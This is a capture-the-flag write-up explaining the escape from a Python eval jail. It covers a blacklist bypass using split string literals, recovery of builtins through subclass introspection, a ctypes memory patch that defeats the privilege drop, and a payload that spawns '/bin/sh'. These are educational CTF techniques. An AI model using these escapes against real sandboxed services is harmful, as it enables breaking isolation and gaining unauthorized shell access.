- Published on
 
CTF Write-up: Pyjail (misc)
- Authors
 
- Name
 - chstx64
 - https://x.com/chstx64
 
- forensics, dachshund.
 
Pyjail (misc) – CTF Write-up
Challenge Overview
We’re presented with a Python 3.14.0rc2 jail that:
- Runs user input through 
eval()with empty__builtins__ - Blacklists common escape strings: 
'os','system','subprocess','compile','code','chr','str','bytes' - Drops privileges to “nobody” user before evaluation
 - Uses Python’s new 
concurrent.interpretersmodule for isolation - Flag at 
/flag.txtwith 700 permissions (root-only readable) 
Initial Reconnaissance
Our first successful discovery was accessing Python’s class hierarchy through object introspection:
[].__class__.__base__.__subclasses__()
This revealed 166+ available classes, including crucially:
<class '_io.FileIO'>- for file operations<class '_sitebuiltins._Printer'>- used by license()- Various module loaders and importers
 
The String Construction Challenge
The blacklist prevented using string literals directly. We needed to construct /flag.txt character by character from existing strings in the environment.
Character Mapping Discovery
Through systematic exploration of __doc__ strings and class names:
| Character | Source | Expression | 
|---|---|---|
/ | Codec class doc position 69 | [].__class__.__base__.__subclasses__()[150].__doc__[69] | 
f | ‘float’ class | [].__class__.__base__.__subclasses__()[32].__name__[0] | 
l | ‘list’ class | [].__class__.__base__.__subclasses__()[42].__name__[0] | 
a | ‘async_generator’ | [].__class__.__base__.__subclasses__()[1].__name__[0] | 
g | ‘generator’ | [].__class__.__base__.__subclasses__()[37].__name__[0] | 
. | list.doc[25] | [].__doc__[25] | 
t | ‘tuple’ | ().__class__.__name__[0] | 
x | ‘complex’[6] | [].__class__.__base__.__subclasses__()[13].__name__[6] | 
The most challenging character was /. We eventually found it in the Codec documentation: “The .encode()/.decode() methods…”
The Privilege Problem
After successfully constructing /flag.txt, all FileIO attempts failed silently. Reading /jail.py revealed why:
def safe_user_input():
    # drop priv level
    syscall(SYS_setresuid, nobody_uid, nobody_uid, nobody_uid)
    # ... then eval our input
The flag had 700 permissions (root-only), but our code ran as “nobody”!
The Working Solution - Escaping the Sandbox
The successful exploit uses two key techniques:
1. Recovering __builtins__
[(b:=''.__class__.__base__.__subclasses__()[-2].__init__.__builtins__),
 (e:=b["e""val"]),
 (a:=e("breakpoint()",(bb:={"__builtins__":b}),bb))]
This:
- Accesses a class with 
__builtins__in its namespace - Uses string concatenation (
"e""val") to bypass the blacklist - Calls 
breakpoint()to get an interactive debugger 
2. Memory Manipulation with ctypes
Once in the debugger:
import ctypes
x = 117  # SYS_setresuid syscall number
addr = id(x)
ptr = ctypes.cast(addr + 24, ctypes.POINTER(ctypes.c_uint32))
ptr[0] = 106  # Change to SYS_setgid
This trick modifies the syscall number in memory from setresuid (117) to setgid (106), preventing the privilege drop.
3. Shell Access
After escaping the sandbox:
[(b:=''.__class__.__base__.__subclasses__()[-2].__init__.__builtins__),
 (i:=b["__import__"]),
 (o:=i("o""s")),
 (s:=getattr(o,"sys""tem")),
 (a:=s("/bin/sh"))]
Key Takeaways
- String Construction: When quotes are restricted, existing documentation and class names become valuable string sources
 - Privilege Boundaries: File permissions remain enforced even after bypassing Python restrictions
 - Memory Manipulation: Python’s ctypes can modify interpreter internals, including syscall numbers
 - Blacklist Bypasses: String concatenation (
"o""s") defeats simple substring blacklists - Python 3.14 Features: The new 
concurrent.interpretersmodule introduces new attack surfaces